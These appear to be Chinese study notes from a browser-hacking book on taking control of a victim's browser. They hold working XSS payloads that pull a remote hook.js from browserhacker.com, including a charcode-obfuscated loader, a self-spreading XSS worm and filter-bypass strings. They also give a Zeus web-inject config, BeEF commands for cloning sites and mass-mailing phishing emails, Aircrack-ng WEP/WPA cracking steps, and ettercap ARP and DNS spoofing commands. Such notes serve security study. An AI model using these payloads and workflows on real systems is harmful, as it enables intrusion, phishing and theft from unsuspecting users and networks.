初始控制
初始控制
攻击浏览器的第一步就是获得目标浏览器的控制权。
理解控制初始化
- 首要任务:将初始化指令安插进目标浏览器
实现初始控制
使用XSS攻击
针对服务器端
- 反射型XSS
- 过程:不可信用户数据被提交到一个Web应用,然后该数据立即在响应中被返回。
- 示例
利用:<% String userId=request.getParameter("user"); %> //接收用户查询参数 Your User ID is <%= userId %> //将参数内容直接在响应中返回
?user=<iframe%20src=http://browserhacker.com/></iframe>
——会在页面中插入一个地址为browserhacker.com的框架;?user=<script%20src=http://browserhacker.com/hook.js></script>
——注入远程JavaScript脚本;
- 模糊URL
- 缩短URL
- 重定向URL
- 采用URL编码或ASCII编码来编码URL
- 添加一些多余的、无关的查询参数,将恶意内容放在中间或后面
- 在URL中使用@符号添加伪域名内容
- 将主机名转化为整数
- 持久型XSS
- 持久型XSS会持久保存于Web应用的数据存储中。
- 存储位置:后端数据库、日志文件
- 示例:
利用:<% //更新数据库 String userDisplayName=request.getParameter("userdisplayname"); String userSession=session.getAttribute('userId'); String dbQuery="INSERT INTO users (userDisplayName) VALUES(?) WHERE userId=?"; PreparedStatement statement=connection.prepareStatement(dbQuery); statement.setString(1, userDisplayName); statement.setString(2, userSession); statement.executeUpdate(); %> ...... <% Statement statement=connection.creatStatement(); ResultSet result = statement.executeQuery("SELECT * FROM users LIMIT 10"); %> The top 10 latest users to sign up:<br /> <% while (result.next()) { %> User: <%=result.getString("userDisplayName")%><br /> <% }%>
?userdisplayname=<script%20src=http://browserhacker.com/hook.js></script>
针对客户端
- DOM XSS
- 不依赖Web应用处理用户输入时的漏洞,只利用客户端代码中存在的缺陷
- 示例
- 场景1:某组织想包含一个参数用于设置欢迎消息。但是,这个功能没有添加到服务器端,而是放到了客户端代码中。这段代码会根据URL中的内容动态修改页面:
利用:document.write(document.location.href.substr( document.loaction.href.search( /#welcomemessage/i)+16,document.location.href.length)) //收集#welcomemessage=后的文本插入页面
在攻击字符串位于#号后面的数据中时,恶意数据是依存于浏览器的,Web应用防火墙无法发现。#welcomemessage=<script>document.location='http://browserhacker.com'</script>
——会把JavaScript脚本插入DOM,导致浏览器重定向到http://browserhacker.com。
- 场景2
function getId(id){ console.log('id: '+id); } var url=window.location.href; var pos=url.index0f("id=")+3; var len=url.length; var id=url.substring(pos,len); eval('getId(' + id.toString() + ')');
?id=1'); s=document.createElement('script');s.src='http://browserhacker.com/hook.js';documnt.getElementsByTagName('head')[0].appendChild(s);//
单引号会导致无法运行,通过String.fromCharCode()进行封装:
?id=1');eval(String.fromCharCode(115, 61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,46,115,114,99,61,39,104,116,116,112,58,47,47,98,114,111,119,115,101,114,104,97,99,107,101,114,46,99,111,109,47,104,111,111,107,46,106,115,39,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59))//
- 场景1:某组织想包含一个参数用于设置欢迎消息。但是,这个功能没有添加到服务器端,而是放到了客户端代码中。这段代码会根据URL中的内容动态修改页面:
- 通用XSS
XSS病毒
存储型XSS一旦奏效,有可能导致(受影响源的)后续访问者也会执行恶意JavaScript。
- 示例
- XSS攻击代码
<iframe name="iframex" id="iframex" src="hidden" style="display:none"> </iframe> <script SRC="http://browserhacker.com/xssv.js"></script>
- xssv.js内容
function loadIframe(iframeName, url) { if (window.frames[iframeName]) { window.frames[iframeName].location=url; //修改iframeName的地址 return false; } else return true; } function do_request() { var ip=get_random_ip(); //获取随机ip var exploit_string = '<iframe name="iframe2" id="iframe2" ' + 'src="hidden" style="display:none"></iframe> ' + '<script src="http://browserhacker.com/xssv.js"></script>'; //设置攻击代码 loadIframe('iframe2', "http://" + ip + "/index.php?param=" +exploit_string); //修改iframe2的地址 } function get_random() { var ranNum=Math.round(Math.random()*225); return ranNum; } function get_random_ip() { return "10.0.0."+get_random(); } setInterval("do_request()",10000); //执行10000次
- Samy
- 绕过MySpace的手段
- 通过div的background:url参数执行初始的JavaScript(针对IE5、6)
<div style="background:url('javascript:alert(1)')">
- 通过把代码转移到其他地方,然后通过style属性运行指令(绕过单引号和双引号转义)
<div id="mycode" expr="alert('hah!')" style="background:url('javascrtpt:eval(document.all.mycode.expr)')" >
- 通过加入“\n”绕过对javascript这个词的过滤
- 使用String.fromCharCode()插入双引号
- 使用eval()绕过其他黑名单中的关键字
eval('xmlhttp.onread' + 'ystatechange = callback');
- 通过div的background:url参数执行初始的JavaScript(针对IE5、6)
- 绕过MySpace的手段
- Jikto
Jikto是一个演示未修复XSS缺陷影响的工具,其通过一个代理同时加载Jikto代码和目标源的内容,把它们放到同一个源下面,实现绕过SOP。 - 最小XSS蠕虫大赛
获胜代码:<form> <input name="content"> <img src="" onerror="with(parentNode) alert('XSS',submit(content.value='<form>'+ innerHTML.slice(action=(method='post')+ '.php',155)))">
绕过XSS防御机制
- 绕过浏览器XSS防御机制
- 常见防御
- XSS Auditor——Chrome、Safari
- XSS 过滤器——IE
- NoScript扩展——Firefox
- 绕过技术
- mXSS
- 条件:依赖于浏览器对输入优化后产生的变异(开发者必须使用innerHTML或类似方式解析你的输入)
- 攻击原理
使用" ` "绕过IE的XSS过滤器。// attacker input to innerHTML <img src="test.jpg" alt="``οnlοad=xss()" /> // browser output <IMG alt=``οnlοad=xss() src="test.jpg">
- mXSS
- 常见防御
- 绕过服务器XSS防御机制
- 早期绕过微软的 .NET Framework
<~/XSS/*-*/STYLE=xss:e/**/xpression(alert(6))> <%tag style="xss:expression(alert(6))">
- 绕过WAF
- 要点:不使用括号,需要通过一个HTML元素的属性把它们注入
- 指令
οnerrοr=alert;throw 1; οnerrοr=eval;throw'=alert\x281\x29';
- 早期绕过微软的 .NET Framework
- XSS备忘录
XSS Filter Evasion Cheat Sheet
HTML5 Security Cheatsheet
使用有隐患的Web 应用
- 攻击者获取对浏览器访问权的一种常见方式,就是借助对Web应用的未授权访问。获取该访
问权之后,攻击者可能会修改网页内容以包含恶意代码。 - 另一种控制Web应用的方法,是获取对FTP、SFTP或SSH等管理性服务的直接未授权访问
使用广告网络
检查来源,看它是不是正确的目标,然后再动态加载脚本:
if (document.location.host.indexOf("browservictim.com") >= 0)
{
var scr = document.createElement('script')
scr.setAttribute('src','https://browserhacker.com/hook.js');
document.getElementsByTagName('body').item(0).appendChild(scr);
}
使用社会工程攻击
- 垃圾邮件:来路不明的电子邮件,通常是一批一批发送的推销真实(有时也不是真实)的商品和
服务的邮件。 - 钓鱼:直接获取信息(通常是用户名和密码)的手段,钓鱼需要多个部分协同配合,包括伪造的网站、伪造的邮件,有时候还有伪造的即时消息。
- 鱼叉式钓鱼:目标是少数受害者,可以收集更多受害者的背景信息,进而精细准备诱饵,从而达到更有效欺骗受害者的目的。
钓鱼攻击
- 主要攻击类型
- 电子邮件钓鱼:向多个收件人群发一封邮件,要求受害人回复对攻击者有价值的信息。
- 网站钓鱼:在网上伪造一个网站,模仿某个合法网站。
- 鱼叉式钓鱼:经常也要使用一个欺骗性网站,但诱饵只针对一小群目标受众。
- 鲸钓:指的是目标为高端人物或高级管理人员的鱼叉式钓鱼。
- 钓鱼攻击流程
- 伪造网站
- 目标:伪造一个网站,在其中隐藏恶意代码。
- 构造必要的HTML和相关文件的方法
- 自己从头开始构建网站
- 复制并修改已有站点
- 克隆已有站点
- 显示错误页面
- 相关工具
- wget
- 克隆指令:
wget -k -p -nH -N http://browservictim.com
- -k:把已下载文件中的所有链接都转换为本地引用,不再依赖原始或在线内容。
- -p:下载所有必要文件,确保离线可用。
- -nH:禁止把文件下载到以主机名为前缀的文件夹中。
- -N:启用文件的时间戳,以匹配来源的时间戳。
- 注入代码:
<script src=http://browserhacker.com/hook.js></script>
- 克隆指令:
- BeEF
- kali下的位置:/usr/share/beef-xss
- 克隆指令(自动注入JavaScript连接代码):
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"https://www.baidu.com/","mount":"/"}' -X POST http://127.0.0.1:3000/api/seng/clone_page?token=XXXXXXXXXXX
结果在:/usr/share/beef-xss/extensions/social_engineering/web_cloner/cloned_pages
访问:127.0.0.1:3000
- SET(社会工程工具箱)
- 流程:
选择Website Attack Vectors—>选择Java Applet Attack Method—>选择Site Cloner—>输入你想克隆的URL—>继续设置后续的内容或修改shell选项
- 流程:
- URLCrazy(生成可能输错的域名或其他变体)
- 指令:
./urlcrazy www.baidu.com
- 指令:
- wget
- 钓鱼邮件
- 生成流程
- 获取目标的电子邮件地址
- 工具(获取联系人信息)
- Recon-ng
- kali下位置:/usr/share/recon-ng
- theHarvester
- 使用
theharvester -d www.baidu.com -l 100 -b google
- -d:目标域
- -l:结果数
- -b:数据源
- 使用
- Recon-ng
- 工具(获取联系人信息)
- 制作诱饵
- QR码
- 发送邮件
- BeEF邮件群发
- 配置邮件群发
- 配置/usr/share/beef-xss/extensions/social_engineering/config.yaml的mass_mailer部分:
- 配置电子邮件模板
BeEF提供了“edfenergy”示例,配置项也在/usr/share/beef-xss/extensions/social_engineering/config.yaml中,实际的邮件模板位于/usr/share/beef-xss/extensions/social_engineering/mass_mailer/templates/edfenergy/下。
- 配置/usr/share/beef-xss/extensions/social_engineering/config.yaml的mass_mailer部分:
- 邮件群发
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"template":"edfenergy","subject":"<邮件主题>", "fromname":"<发件人>","link":"<钓鱼网站URL>", "linktext":"<骗人的链接文字>","recipients":[{"<目标的邮箱>": "<目标的名字>","<目标2的邮箱>":"<目标2的名字>"}]}' -X POST http://127.0.0.1:3000/api/seng/send_mails?token=XXXXXXXXX
- template:配置要使用的模板
- subject:设置钓鱼邮件的主题
- fromname:设置发件人的名字
- link:设置钓鱼网站地址
- linktext:有的模板中需要嵌入钓鱼网站的链接,但显示的是这里设置的链接文字
- recipients:这个字段由多个收件人的名字和邮件地址构成
- 配置邮件群发
- BeEF邮件群发
- 获取目标的电子邮件地址
- 生成流程
- 伪造网站
反钓鱼机制
- Chrome和Firefox的Safe Browsing API
- IE的Anti-Phishing Filter
- McAfee的SiteAdvisor
- Web of Trust的WOT插件
- PhishTank的插件
- Netcraft的Anti-Phishing扩展
- 启用防火墙或.htaccess规则
使用中间人攻击(MitM)
攻击者通过窃听,有可能在信息从发送者传输至接收者的过程中篡改它。
浏览器中间人攻击(MitB)
- 特点
- 对用户不可见
- 对服务器不可见
- 能够修改当前页面的内容
- 能够读取当前页面的内容
- 不需要受害人介入
- 示例(Zeus通用配置)
set_url https://www.youbank.com/* //访问https://www.yourbank.com/中的任意网页时被激活 data_before <div class='footer'> //查找相应位置 data_end data_inject <script src='https://browserhacker.com/hook.js'></script> //注入代码 data_end data_after </body> data_end
无线攻击
- 802.11的安全机制
- SSID(服务设备标识符)隐藏:无线客户端经常要求连接到有名字的SSID
- 静态IP过滤:IP地址能被无线工具发现
- MAC地址过滤:可以冒充
- 修改MAC
- Linux:
ifconfig <接口> hw ether <MAC地址>
- OS X:
sudo ifconfig <接口> ether <MAC地址>
- Linux:
- 修改MAC
- WEP
- 基于Aircrack-ng破解WEP
- 在监视模式下启动可注入的无线适配器
airmon-ng start <适配器(wifi0)> <无线信道(9)>
- 使用监控模式适配器测试数据包注入
aireplay-ng -9 -e <目标网络SSID> -a <目标接入口的MAC> <被动接口(ath0)>
- 开始捕获WEP初始向量
airodump-ng -c <无线信道(9)> --bssid <目标接入点MAC> -w output <被动接口(ath0)>
- 将MAC地址与无线接入点关联
aireplay-ng -l 0 -e <目标网络SSID> -a <目标接入点MAC> -h <我们MAC地址><被动接口(ath0)>
- 在ARP请求重播模式下启动Aireplay-ng,生成WEP初始向量:
aireplay-ng -3 -b <目标接入点MAC> -h <我们MAC><被动接口(ath0)>
- 破解WEP证书
aircrack-ng -K -b <目标接入点的MAC地址> output*.cap
- 在监视模式下启动可注入的无线适配器
- 基于Aircrack-ng破解WEP
- WPA/WPA2
- 基于Aircrack-ng破解WPA/WPA2
- 目标:捕获WPA/WPA2认证握手。
- 流程
- 在监视模式下启动可注入的无线适配器
airmon-ng start <适配器(wifi0)> <无线信道(9)>
- 捕获WPA握手
airodump-ng -c <无线信道(9)> --bssid <目标接入点MAC> -w psk <被动接口(ath0)>
- 强制某个客户端解除认证
aireplay-ng -0 1 -a <目标接入点MAC> -c <想要解除的客户端MAC> <被动接口(ath0)>
- 捕获握手信息后破解
aircrack-ng -w <密码字典文件> -b <目标接入点MAC> psk*.cap
- 在监视模式下启动可注入的无线适配器
- 基于Aircrack-ng破解WPA/WPA2
- 流氓接入点
- 形式
- 加入一个已经有广播的(打开的)无线网络,然后使用独立接口连接到合法的无线网络
- 强制解除对无线客户端的认证,然后用比合法路由更强的信号广播,伪装成接入点
- 工具
- KARMA:可以让计算机响应任意802.11探针请求,而且不需要SSID
- 形式
ARP欺骗
欺骗一个设备把本来应该发到别处的数据发给你,有些类似于把邮件重定向到另一个设备。
- ARP工作流程
- 计算机A(10.0.0.1)要与服务器B(10.0.0.20)通信,因此它在自己的ARP缓存中查询10.0.0.20的MAC地址。
- 如果找到MAC地址,流量将通过网络接口被提交到该MAC地址。
- 如果没有找到MAC地址,则向本地网段广播一条ARP消息,询问哪个MAC地址的IP是10.0.0.20。这个请求会被提交给MAC地址FF:FF:FF:FF:FF:FF,然后具有相应IP地址的网络适配器就会响应。
- 服务器B接收到这个请求,于是将自己的MAC地址作为响应提交给计算机A的MAC地址。
不需要等待广播请求MAC地址,可以主动告诉目标机器哪个IP地址映射到哪个MAC地址。
- 工具
- ettercap
- 示例:(在一个对等网络中实施下面这个ARP欺骗的例子,有可能造成系统宕机。)
ettercap -T -Q -M arp:remote -i <network interface> /<target1>/ /<target2>/
- -T:在文本模式下运行
- -Q:安静模式下运行
- -M:执行中间人攻击
- arp:remote:指定ARP欺骗
- -i:指定网络接口(wlan0)
/<target1>/ /<target2>/
:指定要攻击的IP地址
- 示例:(在一个对等网络中实施下面这个ARP欺骗的例子,有可能造成系统宕机。)
- dsniff
- Shank(BeEF)
- 启动BeEF:
./beef
- 启动Shank:
ruby shank.rb <目标网址>
- 启动自运行脚本:
ruby autorun.rb
- 启动BeEF:
- g0tBeEF
- ettercap
DNS下毒
ARP是把IP地址转换为MAC地址,而DNS是把域名转换为IP地址。
- 篡改客户端DNS设置
- Windows
- 位置:C:\Windows\System32\drivers\etc\hosts
- 权限:管理员
- 格式:
<ip address><dns name>
- 针对特定的网络接口更新Windows DNS:
netsh interface ip set dns "Local Area Connection" static <恶意DNS服务器的IP地址>
- Linux/Unix/OS X
- 位置:/etc/hosts
- 指令:
echo "nameserver <恶意DNS服务器的IP地址>" > /etc/resolv.conf
- Windows
- 利用本地网络层
- 利用ARP下毒,可以将计算机设置为本地网络的DNS服务器。
- 工具
- ettercap—DNSSpoof模块
- 修改etter.dns,添加恶意DNS条目
- 文件位置
- Linux:/etc/ettercap/
- OS X:/opt/local/share/ettercap/ (未验证)
- 文件位置
- 指令
ettercap -T -Q -P dns_spoof -M arp:remote -i <网络接口> /<要攻击的IP地址>/
- -P:指定插件
- 修改etter.dns,添加恶意DNS条目
- ettercap—DNSSpoof模块
利用缓存
浏览器使用非公开可路由IP地址缓存来源存在安全问题。如果目标使用了相同的非可路由地址连接另一个网络,就为你提供了下手的机会。
浏览器使用的IP地址范围是10.0.0.0/8、172.16.0.0/12和192.168.0.0/16。
- 准备
- 某目标可能在一家网吧上网,而你已经侵入了这家网吧
- 外网有一个你控制的BeEF服务器
- 流程
- 中间人攻击开始后,可以等待目标的任何HTTP请求。然后,在响应中插入多个IFrame,从你的每个目标IP加载内容。
- 加载的内容可以缓存到目标浏览器。每个IFrame加载的内容都可以嵌入初始化指令,并且可以回连到外网的BeEF服务器。
- 当目标断开对外网的连接时,或者回到办公室或家里继续上网时,浏览器还会不断与BeEF服务器保持通信。
- 如果后续某个阶段,目标访问了某个私有IP地址,比如他家路由器的管理页面,那你之前缓存的内容就会在该源中执行。
参考文献
《黑客攻防技术宝典——浏览器》